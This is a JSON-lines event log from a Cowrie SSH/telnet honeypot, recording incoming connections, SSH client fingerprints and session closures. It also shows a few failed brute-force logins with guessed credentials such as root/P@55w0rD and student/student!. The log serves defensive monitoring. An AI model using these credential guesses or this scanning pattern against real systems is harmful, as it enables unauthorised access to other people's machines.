{"eventid":"cowrie.session.closed","duration":31.514816284179688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:36.664233Z","src_ip":"34.69.118.1","session":"535634d9a5d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46536,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b05a064bb14","protocol":"telnet","message":"New connection: 34.69.118.1:46536 (159.203.135.109:23) [session: 8b05a064bb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:36.987546Z"}
{"eventid":"cowrie.session.closed","duration":31.247029781341553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:37.043157Z","src_ip":"34.69.118.1","session":"b255c9316d63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19422936439514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:37.390553Z","src_ip":"34.69.118.1","session":"142ff4583f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707607984542847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:37.648067Z","src_ip":"34.69.118.1","session":"80f22739b81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:38.228733Z","src_ip":"122.168.114.167","session":"1267f71f6626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.505950212478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:39.130283Z","src_ip":"34.69.118.1","session":"ad25e9906ac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34682,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1e973d0437","protocol":"telnet","message":"New connection: 34.69.118.1:34682 (159.203.135.109:23) [session: 6d1e973d0437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:39.939237Z"}
{"eventid":"cowrie.session.closed","duration":10.598263502120972,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:40.318576Z","src_ip":"185.26.126.47","session":"eeccc1fb9d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528567790985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:41.754281Z","src_ip":"34.69.118.1","session":"a0b0670482a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002827644348145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:42.331583Z","src_ip":"34.69.118.1","session":"9f5167c3c4fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":35280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed631908d961","protocol":"telnet","message":"New connection: 34.69.118.1:35280 (159.203.135.109:23) [session: ed631908d961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:47.697267Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":35294,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ac02ff1439","protocol":"telnet","message":"New connection: 34.69.118.1:35294 (159.203.135.109:23) [session: b5ac02ff1439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:47.928252Z"}
{"eventid":"cowrie.session.closed","duration":31.81409525871277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:49.967318Z","src_ip":"34.69.118.1","session":"5a618746b9a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":55756,"dst_ip":"159.203.135.109","dst_port":22,"session":"264b023191c9","protocol":"ssh","message":"New connection: 113.163.156.190:55756 (159.203.135.109:22) [session: 264b023191c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:50.400690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:50.406291Z","src_ip":"113.163.156.190","session":"264b023191c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:50.658534Z","src_ip":"113.163.156.190","session":"264b023191c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rD","message":"login attempt [root/P@55w0rD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:51.689803Z","src_ip":"113.163.156.190","session":"264b023191c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:52.948215Z","src_ip":"113.163.156.190","session":"264b023191c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.71318745613098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:55.757330Z","src_ip":"34.69.118.1","session":"155be136ab09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33347225189209,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:57.323295Z","src_ip":"34.69.118.1","session":"40977ab23780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":38358,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ad75d095c8","protocol":"ssh","message":"New connection: 76.127.61.251:38358 (10.17.0.5:22) [session: d4ad75d095c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:58.267426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:58.272298Z","src_ip":"76.127.61.251","session":"d4ad75d095c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:58.328532Z","src_ip":"76.127.61.251","session":"d4ad75d095c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student!","message":"login attempt [student/student!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:58.575923Z","src_ip":"76.127.61.251","session":"d4ad75d095c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f713739dec4d","protocol":"telnet","message":"New connection: 34.69.118.1:46790 (159.203.135.109:23) [session: f713739dec4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:59.166232Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:59.632849Z","src_ip":"76.127.61.251","session":"d4ad75d095c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46806,"dst_ip":"159.203.135.109","dst_port":23,"session":"6460335a01e2","protocol":"telnet","message":"New connection: 34.69.118.1:46806 (159.203.135.109:23) [session: 6460335a01e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:59.638104Z"}
{"eventid":"cowrie.session.closed","duration":31.04532480239868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:03.287492Z","src_ip":"34.69.118.1","session":"57f445f442f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54964,"dst_ip":"159.203.135.109","dst_port":22,"session":"83eccdff0d6d","protocol":"ssh","message":"New connection: 122.168.114.167:54964 (159.203.135.109:22) [session: 83eccdff0d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:05.506941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:07.201404Z","src_ip":"122.168.114.167","session":"83eccdff0d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:07.206520Z","src_ip":"122.168.114.167","session":"83eccdff0d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.790770053863525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:08.128743Z","src_ip":"34.69.118.1","session":"c3653e1d1381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331648349761963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:08.319060Z","src_ip":"34.69.118.1","session":"8b05a064bb14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34710,"dst_ip":"159.203.135.109","dst_port":23,"session":"a360b564eeaa","protocol":"telnet","message":"New connection: 34.69.118.1:34710 (159.203.135.109:23) [session: a360b564eeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:08.504894Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34724,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2bc3ab494b0","protocol":"telnet","message":"New connection: 34.69.118.1:34724 (159.203.135.109:23) [session: b2bc3ab494b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:09.433499Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6be391b0cced","protocol":"telnet","message":"New connection: 34.69.118.1:34732 (159.203.135.109:23) [session: 6be391b0cced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:09.651026Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34744,"dst_ip":"159.203.135.109","dst_port":23,"session":"042fc2e72772","protocol":"telnet","message":"New connection: 34.69.118.1:34744 (159.203.135.109:23) [session: 042fc2e72772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:11.462933Z"}
{"eventid":"cowrie.session.closed","duration":32.87492036819458,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:12.814059Z","src_ip":"34.69.118.1","session":"6d1e973d0437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34756,"dst_ip":"159.203.135.109","dst_port":23,"session":"559251faeea0","protocol":"telnet","message":"New connection: 34.69.118.1:34756 (159.203.135.109:23) [session: 559251faeea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:15.042669Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:16.282461Z","src_ip":"122.168.114.167","session":"83eccdff0d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00192975997925,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:16.817375Z","src_ip":"109.224.242.7","session":"82f15f429890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b6c29d24463","protocol":"telnet","message":"New connection: 109.224.242.7:49162 (10.17.0.5:23) [session: 3b6c29d24463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:17.372009Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45532,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e48e217dde","protocol":"telnet","message":"New connection: 34.69.118.1:45532 (159.203.135.109:23) [session: d1e48e217dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:18.052523Z"}
{"eventid":"cowrie.session.closed","duration":30.40941619873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:18.337535Z","src_ip":"34.69.118.1","session":"b5ac02ff1439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:19.403543Z","src_ip":"122.168.114.167","session":"83eccdff0d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.717105388641357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:19.414219Z","src_ip":"34.69.118.1","session":"ed631908d961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45534,"dst_ip":"159.203.135.109","dst_port":23,"session":"61048ae04f95","protocol":"telnet","message":"New connection: 34.69.118.1:45534 (159.203.135.109:23) [session: 61048ae04f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:24.254422Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e2dc59adf88","protocol":"telnet","message":"New connection: 34.69.118.1:45544 (159.203.135.109:23) [session: 3e2dc59adf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:24.971394Z"}
{"eventid":"cowrie.session.closed","duration":120.00174069404602,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:25.537813Z","src_ip":"109.224.242.7","session":"43fc03e5fc3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45190,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb903c918220","protocol":"telnet","message":"New connection: 34.69.118.1:45190 (159.203.135.109:23) [session: fb903c918220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:29.029488Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45204,"dst_ip":"159.203.135.109","dst_port":23,"session":"133b4f1843f1","protocol":"telnet","message":"New connection: 34.69.118.1:45204 (159.203.135.109:23) [session: 133b4f1843f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:29.353017Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45208,"dst_ip":"159.203.135.109","dst_port":23,"session":"298d458310ad","protocol":"telnet","message":"New connection: 34.69.118.1:45208 (159.203.135.109:23) [session: 298d458310ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:30.356709Z"}
{"eventid":"cowrie.session.closed","duration":31.4547278881073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:30.620827Z","src_ip":"34.69.118.1","session":"f713739dec4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379746675491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:31.017794Z","src_ip":"34.69.118.1","session":"6460335a01e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"92f67090a5c1","protocol":"telnet","message":"New connection: 34.69.118.1:45212 (159.203.135.109:23) [session: 92f67090a5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:31.382189Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":54022,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f79a502b8d0","protocol":"telnet","message":"New connection: 109.224.242.7:54022 (10.17.0.5:23) [session: 2f79a502b8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:33.500795Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5ebbd4d8bf7","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: a5ebbd4d8bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:33.890218Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:34.005285Z","src_ip":"77.90.185.16","session":"a5ebbd4d8bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":35966,"dst_ip":"10.17.0.5","dst_port":22,"session":"e886e7a35136","protocol":"ssh","message":"New connection: 221.139.88.149:35966 (10.17.0.5:22) [session: e886e7a35136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:34.229746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:34.233587Z","src_ip":"221.139.88.149","session":"e886e7a35136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:34.429417Z","src_ip":"221.139.88.149","session":"e886e7a35136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45222,"dst_ip":"159.203.135.109","dst_port":23,"session":"25052f95c291","protocol":"telnet","message":"New connection: 34.69.118.1:45222 (159.203.135.109:23) [session: 25052f95c291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:34.812389Z"}
